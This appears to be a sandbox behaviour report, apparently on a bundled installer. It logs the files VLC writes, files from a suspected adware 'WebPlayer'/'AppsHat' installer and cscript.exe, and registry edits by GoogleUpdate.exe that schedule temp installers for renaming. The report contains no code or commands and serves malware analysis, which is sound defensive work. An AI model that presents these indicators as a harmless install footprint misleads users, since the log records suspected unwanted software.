%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.lib (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_stream.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_art_finder.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_network.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mtime.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white_cross_small.png (96 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete_small.png (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_cpu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\sandbox.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\playlist (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo (444 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\lelombrik.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\Documentation.url (55 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo (6584 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Release Notes.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSans.ttf (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\next.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_09.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc.h (15 bytes)
C:\Users\Public\Desktop\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\http.luac (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_epg.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\fullscreen.png (121 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png (95 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kmr\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\snapshot.png (206 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_acl.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_access.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\COPYING.txt (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sd.png (116 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_point.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\New_Skins.url (64 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\pause.png (82 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\vimeo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_player.h (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\.hosts (289 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_filter.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\shuffle.png (110 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\metachannels.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Audio-48.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_bar.png (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube_homepage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll (1552 bytes)

The process webplayer_installer.exe:872 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf18DE.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)

The process vlc-cache-gen.exe:2880 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.2880 (135036 bytes)

The process vlc.exe:1032 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlc-qt-interface.ini (25 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.1032 (45012 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlcrc.1032 (11109 bytes)

The process cscript.exe:3432 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\64x64[1].ico (5643 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)

Registry activity

The process GoogleUpdate.exe:3664 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Google\Update\proxy]
"source" = "IEWPAD"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process GoogleUpdate.exe:3764 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Google.OneClickCtrl.9]
"(Default)" = "Google Update Plugin"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}]
"pv" = "1.3.26.9"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"UninstallCmdLine" = "%Program Files% (x86)\Google\Update\GoogleUpdate.exe /uninstall"

[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
"ProductName" = "Google Update"

[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\InprocServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"IsMSIHelperRegistered" = "0"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=3]
"Version" = "3"
"Description" = "Google Update"

[HKCR\Google.OneClickCtrl.9\CLSID]
"(Default)" = "{C442AC41-9200-4770-8CC0-7CDB4F245C55}"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"Path" = "%Program Files% (x86)\Google\Update\GoogleUpdate.exe"

[HKCR\Google.Update3WebControl.3\CLSID]
"(Default)" = "{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
"vendor" = "Google Inc."

[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\ProgID]
"(Default)" = "Google.OneClickCtrl.9"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
"AppPath" = "%Program Files% (x86)\Google\Update\1.3.26.9"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
"Description" = "Google Update"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"UpdateTime" = "1423621907"

[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\ProgID]
"(Default)" = "Google.Update3WebControl.3"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastOSVersion" = "1C 01 00 00 06 00 00 00 01 00 00 00 B1 1D 00 00"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\422.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\422.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\STab_Down_6.0.6.8.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\wpm_v20.0.0.1714_0204.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917, , \??\%Program Files% (x86)\Google\Update\1.3.25.11,"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}]
"Name" = "Google Update"

[HKCR\MIME\Database\Content Type\application/x-vnd.google.update3webcontrol.3]
"CLSID" = "{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}"

[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
"AppPath" = "%Program Files% (x86)\Google\Update\1.3.26.9"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=3]
"ProductName" = "Google Update"

[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}]
"(Default)" = "CATID_AppContainerCompatible"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
"Path" = "%Program Files% (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
"Policy" = "3"

[HKCR\Google.Update3WebControl.3]
"(Default)" = "Google Update Plugin"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
"Version" = "9"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GoogleUpdate.exe]
"DisableExceptionChainValidation" = "0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"pv" = "1.3.26.9"

[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\InprocServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"LastCheckSuccess" = "1423621907"

[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
"(Default)" = "Google Update Plugin"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
"AppName" = "GoogleUpdateBroker.exe"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"Version" = "1.3.26.9"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=3]
"vendor" = "Google Inc."
"Path" = "%Program Files% (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
"Policy" = "3"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
"AppName" = "GoogleUpdateWebPlugin.exe"

[HKCR\MIME\Database\Content Type\application/x-vnd.google.oneclickctrl.9]
"CLSID" = "{C442AC41-9200-4770-8CC0-7CDB4F245C55}"

[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
"(Default)" = "Google Update Plugin"

[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}]
"(Default)" = "CATID_AppContainerCompatible"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\Implemented Categories]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\Stats\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\iexplore\AllowedDomains\*]
[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}]
[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\ProgID]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\Stats\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\iexplore]
[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\InprocServer32]
[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=3]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\Stats\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\iexplore]
[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=3\MimeTypes\application/x-vnd.google.update3webcontrol.3]
[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\Implemented Categories]
[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\InprocServer32]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}]
[HKCR\Google.Update3WebControl.3]
[HKCR\Google.Update3WebControl.3\CLSID]
[HKCR\Google.OneClickCtrl.9]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\Stats\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
[HKCR\Google.OneClickCtrl.9\CLSID]
[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\ProgID]
[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
[HKCR\MIME\Database\Content Type\application/x-vnd.google.oneclickctrl.9]
[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9\MimeTypes\application/x-vnd.google.oneclickctrl.9]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\Stats\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\iexplore\AllowedDomains]
[HKCR\MIME\Database\Content Type\application/x-vnd.google.update3webcontrol.3]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\Stats\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\Stats\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\iexplore\AllowedDomains]
[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9\MimeTypes]
[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\Stats\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\iexplore\AllowedDomains\*]
[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=3\MimeTypes]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\InprocServer32]
"ThreadingModel"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
"ProductName"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"UpdateAvailableCount"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=3]
"Version"
"Description"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
"Vendor"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"ui"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
"Description"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastChecked"

[HKCR\MIME\Database\Content Type\application/x-vnd.google.update3webcontrol.3]
"CLSID"

[HKCR\Wow6432Node\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\InprocServer32]
"ThreadingModel"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
"AppPath"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"mi"
"old-uid"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=3]
"ProductName"
"Vendor"

